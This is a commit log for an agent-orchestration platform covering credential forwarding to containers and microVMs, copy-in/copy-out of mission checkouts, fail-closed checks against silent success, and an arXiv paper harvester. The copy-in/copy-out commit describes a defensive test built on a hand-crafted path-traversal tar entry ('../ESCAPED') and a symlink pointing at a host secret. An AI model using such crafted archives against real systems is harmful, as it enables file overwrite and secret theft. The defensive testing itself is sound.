Commit Graph
453 Commits
Author SHA1 Message Date
Omar SobhandClaude Opus 5 2edafdaf0d fix(fleet): a microVM authenticates by subscription only — never with an API key
B4.4 had the microVM path share `forwarded_provider_env(auth)` with the
container path, on the reasoning that the two must not diverge. That was wrong
in the one direction that costs money: gw-04 has CLAWMATES_RUNTIME_AUTH unset,
so the container path forwards ANTHROPIC_API_KEY today — and a VM would have
received it. Claude Code ranks the API key ABOVE the subscription's OAuth token,
so the VM would have worked perfectly while billing per-token against a plan we
already pay for. No error, no symptom but the invoice.

`microvm_provider_env` is subscription-only BY CONSTRUCTION: it does not take
the auth mode as an argument and does not read CLAWMATES_RUNTIME_AUTH at all.
Taking the mode as a parameter would mean one unset variable on a new host
silently turns the API key back on. The container path is unchanged and still
honours the operator's mode — the divergence is now deliberate, with the reason
at the definition.

Two other fail-closed rules fall out of it:
  - A missing or blank subscription token REFUSES the launch rather than
    returning an empty environment. A VM with no credential does not error;
    `claude -p` hangs, which reads as a phase stuck at `running` with nothing in
    the logs. The refusal names the variable.
  - An unrecognised backend is refused rather than handed the Anthropic token.
    GLM and Kimi reach their own endpoints via ANTHROPIC_BASE_URL and that
    contract is not settled yet; guessing it would send a subscription
    credential to z.ai.

Measured on tank, and this is the end-to-end proof B4.4 could not give:
`claude -p` in the agent-claude image with the real subscription token replies
"OK". Injecting the token in a VM moves the failure from "Not logged in" to a
network error, so the credential channel is accepted by the CLI — the VM's
remaining problem is egress (#49), not auth.

447 tests pass, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 12:19:55 -07:00
Omar SobhandClaude Opus 5 c3297b86cf feat(fleet): B4.4 — credentials reach the microVM guest as exec env, and a bad entry refuses the exec
`claude -p` in the VM failed with "Not logged in". The credential now travels on
the exec op: `env` on `vm_exec` → fcagent → the command's environment. An env var
rather than a file because the per-VM rootfs dies with the VM but an env var
never touches the guest disk at all.

**Every problem in an env entry fails the exec.** The tempting alternative —
skip the entry we cannot use and run anyway — produces a `claude -p` with no
credential, and that does not error, it HANGS. A phase stuck at `running` for
ten minutes with nothing in the logs is exactly what a missing token looked like
on the container path. Names are validated ('=' or NUL would define a different
variable than the one asked for via putenv semantics), values must be strings,
and errors name the key and never the value — an error string travels back over
the wire and into logs.

One list of which credentials travel: `forwarded_provider_env` reuses
`forwarded_provider_keys`, and the container path now reads it too. If the two
execution paths diverged, a mission would behave differently depending on where
it landed — including the expensive way, where one path forwards
ANTHROPIC_API_KEY and bills it while the other uses the subscription. A blank
value is omitted rather than forwarded empty, so `claude` reports having no
credential instead of failing authentication with one.

Verified on tank (`--vm-selftest` backend=claude, 13/13, create 1532 ms): an
injected var reaches the guest command over the real vsock wire, and an
unusable entry comes back ok:false with no rc.

FINDING — the CLI leg remains UNPROVEN, and deliberately so. The guest has no
network interface: `create` writes boot-source, drives, machine-config and vsock
and no `network-interfaces` key, and a booted guest has no routes, no
resolv.conf, no DNS and no TCP. So `claude -p` cannot reach the API whatever
credential it holds. Injecting the real token would have proven nothing, because
the failure would have been network and not auth. Filed as B4.6 (task #49) with
the TAP-vs-vsock-proxy trade-off; B4.5 is now blocked on it.

444 tests pass, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 11:56:38 -07:00
Omar SobhandClaude Opus 5 6687f8b808 feat(fleet): B4.3 — per-mission rootfs selection (missions.backend)
`vm_create` takes a backend name and boots `rootfs-<backend>.ext4`; NULL
or "default" boots the golden image. Makes the per-CLI images from B4.1
actually reachable (one image per CLI, per A6).

A missing image is an ERROR naming the file and how to build it, never a
quiet fall back to the default. That fallback is the tempting version and
the wrong one: it would run a claude mission in a kimi VM, or in a rootfs
with no CLI at all, and report success for whatever came out. Verified on
real hardware, not just in a unit test — the selftest asks for an image
that does not exist and FAILS if it boots.

`create` now reports the rootfs that actually booted, not the one that was
requested, so a mission artifact can show the wrong VM ran.

The migration adds no CHECK constraint listing the CLIs. Which images
exist is a property of the NODES, not the schema; a constraint would need
migrating for every new image while still not guaranteeing the image
exists anywhere. The node validates and names what is missing. Backend
names are `[A-Za-z0-9_-]` and rejected rather than sanitised, since they
become filenames.

Verified on tank: default backend 8/8; `CLAWMATES_FC_BACKEND=agent-terminal`
9/9 including the absent-image check, create in 910ms on a rootfs built
from a real Docker image. 435 tests green, no leaked processes or VM dirs.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 10:38:45 -07:00
Omar SobhandClaude Opus 5 02ba557c3e feat(fleet): B3 — server-side microVM client over NodeHub
cm_api::microvm_client::MicroVm wraps the node's vm_* ops as typed calls
over the existing hub request/response channel: create / inject / exec /
collect / destroy, plus list() for reaping. No new transport.

Fixes a wire-contract mismatch B2 would have shipped. `Uplink::Result`
declares `output: String`, but the node's vm_* handler returned a JSON
object. The frame then failed to deserialize and hit the uplink match's
`Err(_) => {}` arm, so the reply VANISHED and every vm_* call would have
timed out after 20s with nothing anywhere explaining why. The node now
sends a string, matching the contract rather than what looked tidier.

That silent arm is fixed too: an unparseable frame now logs the node, the
parse error and the frame head, and says explicitly that the request it
was answering will time out. It is the arm that would have hidden this.

Two more places where a failure must not borrow a legitimate outcome's
representation:

  - vm_exec returning no `rc` is an error, not a zero. A missing exit code
    means the guest did not report one; reading it as success is how a
    failed command becomes a passing phase.
  - vm_collect on a missing path is an error, not an empty archive — an
    empty tar looks exactly like a run that produced nothing.

Timeouts: the hub's deadline is the guest's plus 30s, saturating. A
caller passing a huge budget would otherwise wrap to a tiny timeout and
turn a long agent turn into a spurious transport failure. clippy caught
the tautological assertion in the first version of that test, which is
what surfaced the overflow.

Verified: `--vm-selftest` on tank still 8/8 after the output-type change
(create 950ms), 427 tests green.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 07:59:13 -07:00
Omar SobhandClaude Opus 5 0f7fa31f86 feat(fleet): B1 — microvm runtime kind and KVM placement predicate
Phase B step 1, on top of the B0 spike that proved microVMs boot here.

KVM is a HARD predicate, not a preference. gw-04 — where every mission
runs today — is itself a VM without nested virtualisation and has no
/dev/kvm, so a microvm mission landing there cannot start at all. The
scheduler therefore has to be able to tell nodes apart, which means the
node has to report what it can host.

Nodes gain a `capabilities` jsonb, populated from a probe on the node
rather than from configuration: /dev/kvm either exists there or it does
not, and nothing on the server can make it appear. The probe OPENS the
device rather than stat-ing it, because it can exist while being
unopenable (wrong group, or a container without the device passed
through) — which is precisely how firecracker will fail.

`microvm` requires BOTH kvm and a firecracker binary. A node with KVM
but no binary looks capable by the obvious test and fails at launch; a
node with the binary but no KVM is gw-04.

Placement fails the launch when no capable node exists, rather than
letting a mission sit in 'running' with nowhere to run. An explicit
target_node_id is treated as a request, not a guarantee — it is honoured
only if that node actually reports the capability.

`capabilities` defaults to '{}' NOT NULL so a node that has never
reported fails every predicate: an unqueried node and an incapable node
must be indistinguishable to the scheduler, because scheduling onto a
node whose abilities are unknown is how you get a mission that cannot
start and does not say why. The report replaces rather than merges, so a
capability the node has LOST disappears instead of leaving a stale true.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 21:54:18 -07:00
Omar SobhandClaude Opus 5 da3731d753 fix(missions): a coding phase that delivers nothing is a failure
The last open item in the silent-success class: a coding phase that
changed no files reported `completed` — the same status a phase gets for
delivering tested, reviewed, pushed work. Mission `019fcf62` completed
that way with its agents silently unpinned from the repo, and nothing in
the platform disagreed; it was found by a script diffing the forge.

The verdict is applied at capture rather than at completion, because
capture selects on `status = 'completed'` — the platform does not know
whether a phase produced anything until after it has already finished.

Three conditions must hold before failing a phase, because a false
positive here fails honest work: the phase is a coding phase (research
phases legitimately write nothing to the tree), the diff was actually
computed (an uncomputable diff also reports zero files — blaming the
agent for a platform fault is the same defect wearing different
clothes), and `allow_empty` is not set. Only an explicit `true` opts
out, so a typo leaves the check armed. Registered in phase_config with
its reader named, per the seam-2 rule.

Also closes an ordering hazard this exposed: capture is batched and runs
after a phase completes, so a backlogged mission could close as
'completed' and only then have capture discover an empty phase — leaving
a 'completed' mission holding a 'failed' phase, unfixable because the
mission-close CASE only touches 'running' rows. A repo-bearing mission
now waits for its work to be captured before closing.

Adds a `noop` scenario to the harness: a phase told to change nothing,
which PASSES only when the phase comes back `failed`. Same discipline as
the uid self-test — a check that has never been seen to fire has not
been shown to work.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 19:39:14 -07:00
Omar SobhandClaude Opus 5 4f6719c80e feat(missions): make copy-in/copy-out the default filesystem model
Copy mode shipped opt-in so that changing how every mission receives its
code required someone to type it. Four production missions and a
fail-closed harness later, opt-in is the riskier setting: the bind path
is the one with four documented work-loss incidents, and leaving it as
the default means the untested path runs whenever nobody sets the
variable. `CLAWMATES_MISSION_FS=bind` still selects it; anything else —
unset, empty, misspelt — gets copy mode, so a typo lands on the safer
path rather than the one being retired.

Also fixes a real leak found while scoping the deletion below: the git
helper built its `safe.directory` argument with `Box::leak`, justified as
"the process is short-lived". That is true of a CLI and false of cm-api,
which is a long-running server — so it leaked one allocation per git
call, growing with every phase of every mission.

The A5 deletion is NOT done here, and two of its items should never be
done:

  - `scrub_remote_credentials` is a security control, not a uid
    workaround. Copy mode uploads the whole `.git` into a container the
    agent controls as root, which makes stripping the token from
    `.git/config` more necessary, not less.
  - `has_local_work` / `checkout_in_use` guard `fetch_and_reset` at every
    phase launch and have nothing to do with who writes the checkout.
    The host checkout still persists across phases under copy mode —
    mission `019fcf62` shows the marker firing there. Deleting them
    reintroduces PRIOR-PHASE-WORK-WAS-LOST.

The rest (`share_repository_across_uids`, `clear_stale_commit_editmsg`,
`-c safe.directory`) are genuinely obsolete under copy mode but stay
while `bind` remains selectable: a workaround may only be deleted once
the situation it works around can no longer be chosen.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 18:29:29 -07:00
Omar SobhandClaude Opus 5 1253595ba7 fix(missions): stop three launch failures from passing as success
A verification run against the deployed stack found a chain mission whose
phase 0 reported `completed` with zero files, no commit error and no push
error — indistinguishable from a phase that correctly had nothing to do.
Three separate defects had to line up, each of them the same shape: a
failure sharing its representation with a legitimate negative result.

1. `pin_agent_workspaces` embedded the whole config in one `sh -c` argv.
   That works until the file grows — config gains a block per provisioned
   claw — then fails with `argument list too long`. Now written through
   the tar upload API, which has no argv limit, so the failure mode is
   gone rather than merely further away.

2. A failed pin was logged "(continuing)". Without the pin, agents write
   to their sandboxes and the committer finds nothing in /mission/repo —
   the mission cannot deliver, so the launch now fails where someone is
   still looking. The restart that applies the pin is fatal for the same
   reason.

3. `capture_phase_diff_at` swallowed `git diff` failures with
   `unwrap_or_default`, so an unreadable base landed `empty: true,
   files_changed: 0` — byte-identical to an honest no-op. The error is now
   recorded as `diff_error`, and an empty patch that came from a failed
   diff is no longer trusted to mean an unchanged tree.

Adds scripts/verify-mission-delivery.sh, which found #1 and #2 on its
first real run. Its probes are fail-closed: no placeholder values, a
self-test that proves the uid probe can detect the split it looks for,
and FAIL-NORUN for a scenario that never executed. Its own first version
had this bug too — a `die` inside `$(...)` exited the subshell, so a run
that could not authenticate printed "all checks passed" and exited 0.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 18:01:02 -07:00
Omar SobhandClaude Opus 5 7e07c389c6 feat(missions): wire copy-in/copy-out behind CLAWMATES_MISSION_FS=copy
With the flag set, ensure_container omits the /mission bind, the checkout
is pushed into the container at phase launch, and the agent's work is
pulled back before capture.

The simplification that makes this small: sync_out unpacks over the SAME
host path the checkout came from. The host directory stays a server-owned
staging area with exactly one writer, and capture_phase_diff_at needs no
change at all — it still finds a normal checkout exactly where it always
has. Delivery, gating, commit and push are untouched.

Two failures are deliberately loud rather than silent:

- copy-IN failure fails the phase launch. Continuing would start a phase
  against an empty directory, and the agent would cheerfully report having
  done work on a repo that was not there.
- copy-OUT failure SKIPS capture. Capturing anyway would diff a stale host
  tree and record "no changes" for work that exists — success reported for
  nothing, which is the exact failure mode this codebase keeps paying for.

Opt-in: the bind path is what production has run since the beginning, and
the test asserts a near-miss value leaves it there rather than silently
switching every mission.

414 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 15:41:47 -07:00
Omar SobhandClaude Opus 5 389b41f8e6 feat(missions): copy-in/copy-out primitive for the mission checkout
The first half of removing the shared bind mount. Not wired yet — this
adds the mechanism and its tests.

One cause, four fixes so far: .git/objects permission denied
(core.sharedRepository), the capture base being overwritten each phase,
COMMIT_EDITMSG root-owned, and reset --hard deleting a prior phase's work
(.git/clawmates-in-use). core.sharedRepository was never a general
solution — it covers objects and refs, and every OTHER file git touches
is a fresh opportunity. Copy-in/copy-out removes the cause instead: the
agent owns its filesystem with no second writer.

Measured before building, because the plan named copy cost as the open
risk: a real 65 MB checkout of this repo copies in 0.23s and out 0.18s on
gw-04. Not a risk at this size; re-measure an order of magnitude larger.
No compression — the payload crosses a local socket, so gzip would spend
CPU to save nothing.

Two safety properties, both tested:

- The archive comes back from a container the agent controls as ROOT, so
  it is untrusted input. A `../ESCAPED` entry must not write outside the
  destination. The test writes the tar header bytes by hand because the
  tar crate refuses to BUILD such an entry through its safe API — which
  is reassuring, but means the hostile case has to be constructed the way
  an attacker would.
- Symlinks are packed as links, never dereferenced. Following them on
  copy-IN would smuggle host files into the container; the test plants a
  host secret behind a symlink and asserts its contents never appear in
  the archive.

Ownership is deliberately not preserved on unpack: the archive's uids are
the container's root, and re-applying them on the host would recreate the
exact uid split this exists to remove.

413 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 15:15:22 -07:00
Omar SobhandClaude Opus 5 0d9498ec6e fix(missions): copy an allow-list, not the whole 1.7GB seed dir
Checking before deploying caught a mistake in the previous commit. The
seed dir on gw-04 is 1.7 GB and the first version copied all of it per
mission — tens of seconds each, and ~17 GB across ten concurrent
missions.

1.5 GB of that is .rustup: a Rust toolchain that installed itself into
the data dir back when HOME=/zeroclaw-data and the image had no
toolchain. The image now ships Rust at /usr/local/cargo, which is what
the container's PATH actually resolves — verified live. The data-dir copy
is dead weight and is not even reachable.

SEEDED_PATHS now copies only what carries per-mission identity or
secrets: .zeroclaw (config.toml with the door token, sessions.db,
devices.db), clawmates-mcp.json, .claude + .claude.json, .kimi-code,
glm-home, agents. Roughly 46 MB instead of 1.7 GB — about 37x smaller.

Caches and toolchains are deliberately excluded: .rustup, .npm, .cargo,
.cache, .local. They hold no secrets and a mission reads the image's.

Absent paths are tolerated: a fresh deployment has no .kimi-code until
Kimi is first used, and that must not fail container creation.

The test asserts both directions — the token-bearing paths ARE copied
and the caches are NOT — because either mistake is silent: copying
everything just makes missions slow, and copying nothing quietly
restores the credential sharing.

409 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 12:26:04 -07:00
Omar SobhandClaude Opus 5 15e7608e4a fix(missions): give each mission its own runtime data
Every per-mission container bind-mounted the SAME host seed dir as
/zeroclaw-data — shared with each other AND with the singleton runtime.
That directory holds config.toml, which carries the §15 door bearer
token, plus sessions.db and devices.db.

So one mission could read another mission's credential, and anything it
wrote there was inherited by every later mission. teardown_container
only removes /var/lib/clawmates-missions/{id}, so the shared directory
was never cleaned — the contamination was permanent.

The code already knew. The comment on DEFAULT_SEED_DIR names the sqlite
race and calls copy-on-write per mission the long-term fix. This is that
fix: seed_runtime_data copies the seed into
<missions_root>/<mission>/runtime-data at container create, and the
mount points there. Cleanup is free — teardown already removes that tree.

The copy runs in a throwaway container because cm-api cannot see the seed
dir: it hands that host path to Docker but never mounts it itself. The
runtime image is reused so nothing extra is pulled, and `cp -a /seed/.`
copies dotfiles — `/seed/*` would silently skip .zeroclaw/ and produce a
runtime with no config at all.

A copy failure is fatal to container creation on purpose. Falling back to
the shared mount would silently restore the credential sharing this
removes, and silent fallback to a weaker posture is the failure mode this
codebase keeps paying for.

The test asserts path shape rather than behaviour: an edit that points
the mount back at the seed dir restores credential sharing with no other
visible symptom, so the path IS the invariant.

408 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 12:14:38 -07:00
Omar SobhandClaude Opus 5 5d98fcf44a feat(missions): forward ZAI/KIMI keys so one binary serves three backends
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
All three providers run through the SAME `claude` binary, verified live:

  Anthropic  CLAUDE_CODE_OAUTH_TOKEN                          -> ANTHROPIC-OK
  GLM        ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic -> GLM-OK
  Kimi       ANTHROPIC_BASE_URL=https://api.kimi.com/coding/   -> KIMI-OK

That is a stronger multi-provider story than a provider-per-implementation:
skills, subagents, MCP, hooks and tool policy are identical across all
three because it is literally the same harness.

The `kimi` CLI (0.31.1, shipped in the image) 401s on this key and is not
needed -- the claude binary reaches Kimi's Anthropic-compatible endpoint
directly. Worth knowing before someone debugs the CLI.

forwarded_provider_keys now ships ZAI_API_KEY and KIMI_API_KEY into
mission containers in BOTH auth modes: they are unrelated to the Anthropic
credential, so the api_key/subscription split does not apply to them. A
mission that selects a backend without its key present would otherwise
fail at the first turn.

Keys persisted in /opt/clawmates/.env and passed through compose.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 10:51:34 -07:00
Omar SobhandClaude Opus 5 4ff4e6f7ee fix(missions): a root-owned COMMIT_EDITMSG must not block delivery
ci / gates (push) Failing after 18s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fcd0c produced correct work — a reviewed, tested function plus
a REVIEW.md quoting a real cargo test summary — and delivered none of it:

  git commit → exit 128: could not open '.git/COMMIT_EDITMSG': Permission denied

The agent ran `git commit` itself inside the mission container (as root),
leaving that file owned by root at 0644. core.sharedRepository covers
objects and refs — .git/index lands at 0666, which is why commits work at
all — but not COMMIT_EDITMSG, which git writes with the default umask.

Unlinking works where overwriting does not: removing a file needs write
permission on the DIRECTORY, and .git/ is owned by the server. Silent on
failure by design, so the commit reports the real error rather than this
speculative cleanup.

Third distinct instance of the same uid-split class (objects, then the
capture base, now this). The pattern holds: the checkout is one directory
written by two users, and each new file git touches is a new opportunity.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 07:35:37 -07:00
Omar SobhandClaude Opus 5 758b2dbd96 feat(missions): run a phase as one direct session, behind a flag
CLAWMATES_MISSION_EXECUTOR=session makes launch_phase run the whole phase
as a single `claude -p` against /mission/repo instead of driving turns
through ZeroClaw. Opt-in, because silently changing how every mission
executes is exactly the sort of change that should require someone to
have typed it.

It still writes ONE topology_runs row. The entire downstream lifecycle --
close_finished_phases, evaluation, capture, commit, gate, publish -- keys
off those rows, and inventing a second completion path would mean two ways
for a phase to finish with one of them untested. The session is simply a
run with tier='session' and an empty graph.

Spawned rather than awaited: launch_phase runs inside the sweep loop, and
blocking it for the length of a coding session would stall every other
mission.

The session's own summary is logged as diagnostics only. Whether the phase
actually did anything is still decided downstream by capture and delivery
against the repository -- a 0-exit session that pushed nothing was measured
at ~5%, so the agent's account can never be the verdict.

406 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 22:56:22 -07:00
Omar SobhandClaude Opus 5 37fac288d2 feat(missions): bring the direct session executor onto a live branch
Rescues session_executor from the stranded spike branch. Multi-provider
missions are not needed for now, so the direct path is worth nailing down:
run a mission as one `claude -p` session against its checkout instead of
routing turns through ZeroClaw.

Measured today against a real checkout in the runtime container, using the
executor's exact argv:

  direct `claude -p`   7s, file written
  via ZeroClaw         minutes per turn, and THREE config failures before
                       it worked at all (no credential in the mission
                       container; Write/Edit denied; no tools granted --
                       the last of which COMPLETED a mission having
                       written nothing)

Each of those failures came from the same root: with claude_cli, ZeroClaw
is a WebSocket-to-subprocess adapter whose own controls (risk profiles,
tool gating, memory) do not reach the subprocess. The adapter adds
failure modes without adding governance.

What ZeroClaw still earns for the rest of the platform is unchanged and
not in question here: interactive chat, the brain, A2A and door identity,
terminal, agent routines, and non-Claude providers.

Not yet wired into phase_runner — this commit only makes the executor
reachable and keeps it building. SessionOutcome::delivered() still
requires a clean exit AND an observed branch, because a 0-exit session
that pushed nothing was measured at ~5%.

405 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 21:26:48 -07:00
Omar SobhandClaude Opus 5 5232175c88 fix(missions): forward the subscription token into mission containers
ci / gates (push) Failing after 9s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Switching agents to claude_cli left missions hanging: the per-mission
container had claude_cli configured but no credential, so `claude -p`
waited forever. A phase sat at `running` for ten minutes with nothing in
the logs — no error, because there is nothing to error on.

The original subscription design assumed a persisted `claude /login`
under a bind-mounted $HOME. That holds for the shared runtime and NOT for
a mission container, which gets its own data dir and therefore no login.
So subscription mode now forwards CLAUDE_CODE_OAUTH_TOKEN.

The two Anthropic credentials remain mutually exclusive, and there is now
a test asserting it in both directions: Claude Code ranks ANTHROPIC_API_KEY
above the OAuth token, so shipping both bills the API while the deployment
believes it is on the subscription — visible only on the invoice.

Deployment: CLAWMATES_RUNTIME_AUTH=subscription and CLAUDE_CODE_OAUTH_TOKEN
added to compose + .env on gw-04.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 17:34:13 -07:00
Omar SobhandClaude Opus 5 ac47dcbe94 feat(runtime): run agents on the subscription via the real claude binary
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
provider_alias_for now resolves Claude models to `claude_cli.default`,
which spawns the actual `claude` binary, instead of `anthropic.default`,
which posts to the raw API with Claude Code identity headers. Agent work
is ~99% of tokens, so this moves essentially all of it onto the Max
subscription and onto the supported client.

The judge deliberately stays on the API key. If both rode one credential,
a single subscription limit would blind the verifier at exactly the
moment there is most to verify; this way a throttle degrades missions but
verification keeps working.

Runtime config (applied on gw-04, reloaded via loopback — remote admin
reload is disabled by design):
  - [providers.models.claude_cli.default] with mcp_config pointing at the
    §15 door, so a subscription agent can ACT and not merely reason
  - disallowed_tools denies Claude Code's own Bash/Write/Edit/WebFetch so
    the gated door is the ONLY actuator and nothing bypasses the audit log
  - env CLAUDE_CODE_OAUTH_TOKEN = "$CLAUDE_CODE_OAUTH_TOKEN" — the $NAME
    form reads the daemon env, keeping the token out of config.toml
  - anthropic.judge swapped to the API key (0 oat01 left in config)

Verified before changing anything: the real binary returned SUBSCRIPTION-OK
through the token, then ENV-OK once the daemon carried it in env.

Note for future readers: /api/config/prop reflects what is CONFIGURED, not
what the binary supports — `openai` 404s there too. An earlier note that
the image "has no claude_cli in its schema" was true of the old :sync
image and is not true of the rebuilt one.

400 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 17:14:42 -07:00
Omar SobhandClaude Opus 5 ad89ef94cd feat(library): attribute a run to a mission, and prove what it contributed
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`corpus_items.mission_id` has existed since the table landed and nothing
could populate it. `POST /api/library/runs` now accepts `missionId`, which
is the seam the wizard needs: a mission-driven run is the same run, tagged.

`corpus::contributed()` answers the question a continuous mission has to
be able to answer — did THIS run add anything new. Because `record` never
reassigns mission_id on conflict, the mission that first found a source
keeps the credit, so a rerun cannot inflate its own count by re-recording
what an earlier run already held. The test asserts exactly that: two
missions see the same paper, the finder reports 1 and the rerun reports 0.

This is the check the 0030-0044 generation of continuous research did not
have. It could run weekly forever and every run looked like success.

The test also earned its FK: the first version attributed to a bare UUID
and the database refused it. Attribution to a mission that does not exist
is not attribution, so the test now seeds real mission rows.

400 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 11:43:41 -07:00
Omar SobhandClaude Opus 5 9de2cf34e4 feat(auto-merge): merge additive branches, refuse everything else
ci / gates (push) Failing after 10s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Closes the branch pile-up: a catalogue branch that only adds notes now
merges into main by itself, so the work is actually in the vault rather
than waiting in a branch nobody opened.

Additive-only is measured from the diff, not assumed from the mission
type. Three conditions, all required: the type declares additive_only,
the run verified, and `git diff --name-status base...branch` contains
only A entries. A research harvest that somehow rewrote a hand-written
note is refused by the same check that lets its new notes through —
which is the case the test pins down, asserting README.md on main is
byte-identical afterwards.

Renames and deletes count as non-additive. A rename is a delete plus an
add and the delete half can destroy hand-written work.

Unknown merge_policy values fail closed to Never. A typo must not grant
auto-merge.

The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an
unrelated commit landing on main meanwhile is not misread as ours. A
conflicted merge aborts and leaves the branch for a human rather than
wedging the checkout for the next run.

merge_reason is always populated and surfaced in the API: a branch that
quietly did not merge is indistinguishable from one never delivered.

399 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 11:33:41 -07:00
Omar SobhandClaude Opus 5 107f0dbced feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what
the library holds. Thin wrappers — the work stays in crate::library — so
a run can be started by a person, a schedule or the UI rather than only
from an integration test.

The response reports `healthy` explicitly rather than leaving a caller to
infer it from an empty `shelved` list. A quiet week and a broken run both
shelve zero papers, and collapsing those two is the exact ambiguity that
cost most of this week.

Failure reasons go to the log, not the response body: they can carry the
remote URL and raw git stderr.

AppState gains an optional blob store (the shelf), wired from the server
binary where storage is already constructed. Optional because AppState::new
is used by tests that never touch blobs; a route that needs it fails
loudly rather than the constructor demanding it everywhere.

393 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 10:21:00 -07:00
Omar SobhandClaude Opus 5 09c6496725 feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come
from what the project is actually working on — papers/dynamic-agentic-
topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the
two problems this week ran into, verifying what an agent did and giving
a long-running agent memory of what it covered.

Never pushes to main. The vault is a live Obsidian vault a human edits
and syncs; pushing to main races that sync and can lose hand-written
work. Every run lands on its own branch for a human to merge, the same
rule the mission delivery path was validated 20/20 under.

PDFs are NOT committed. A few hundred papers is gigabytes and would make
the vault painful to clone and slow to open, so they stay on the blob
store shelf and the note carries the key.

My own test caught me repeating this week's branch-collision bug: I named
branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two
runs in the same millisecond produce the identical name — exactly what
hit mission 019fc42b. Fixed by taking the tail. The test now loops 100
ids instead of sampling two (a one-shot check passes by luck whenever the
millisecond ticks between calls) and additionally asserts the head-based
scheme DOES collide, so it cannot rot into a no-op.

Live against the real vault:
  10 candidates, 1 already held, 9 shelved, 0 failed
  branch clawmates/library-019fc82292e8, pushed
  9 notes verified on the forge, 9 PDFs verified %PDF on the shelf
  (the "1 already held" is cross-topic dedupe inside a single run)

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 08:03:14 -07:00
Omar SobhandClaude Opus 5 30eaa50c50 feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is
consulted BEFORE anything downloads. Checking afterwards would still
dedupe the catalogue while re-downloading every paper we already have,
every week, forever.

Two properties the tests pin down, both learned the hard way this week:

- A quiet week is not a failure. `shelved == 0` with no errors is a
  healthy run against a mature library; `shelved == 0` with errors is
  broken. Harvest::healthy() and ::added_anything() keep those apart
  rather than collapsing them into one ambiguous "did nothing".
- A failed download leaves the paper UNSEEN. Checking it off before the
  PDF is safely shelved would mean one transient network error retires
  that paper permanently. The checkmark is written last, after the bytes
  and the note are both on disk.

The skip test gives every candidate a pdf_url pointing at a closed port,
so if the skip ever regresses the test fails loudly instead of quietly
re-fetching.

Live end-to-end against arXiv, run twice:
  RUN1  3 candidates, 0 already held, 3 shelved, 0 failed
  RUN2  3 candidates, 3 already held, 0 shelved, 0 failed

Library<'_> groups the five values that always describe one library;
passing them loose is how a run shelves into one place and catalogues
into another (also silences clippy::too_many_arguments honestly rather
than by allow).

391 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:53:56 -07:00
Omar SobhandClaude Opus 5 e4a395b72e feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to
find papers"; the vault is the CARD CATALOGUE, not the source. Papers are
found on arXiv, the PDF is pulled down and shelved in our own library,
and a note recording it goes in the vault.

Three parts, and which is which matters:
  arXiv       — where papers are found
  blob store  — the shelf; the PDF lives there (cm-files, local + S3)
  the vault   — the catalogue; one note per paper, pointing at the shelf

The checkmark list (corpus, 0064) is what makes this continuous rather
than a job that redoes itself every week — the failure that killed the
previous attempt (0030-0044, dropped in 0053).

The load-bearing detail: every catalogue note carries
`source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key
corpus::parse_note reads. So the checkmark list is rebuildable FROM the
vault. If the database were lost, re-indexing restores what we have —
the catalogue is authoritative, the index is derived. A test asserts that
round trip rather than trusting the two halves to agree.

Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly
job re-downloads a paper every time authors post a revision. Fetches are
rejected unless the bytes start with %PDF: arXiv serves an HTML holding
page while a PDF renders, and shelving that leaves a file that looks
present and is unreadable.

Verified against live arXiv, not fixtures:
  arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM…
  arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri…
  arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory…
  pdf: 1,361,770 bytes, %PDF verified

388 tests, clippy clean.

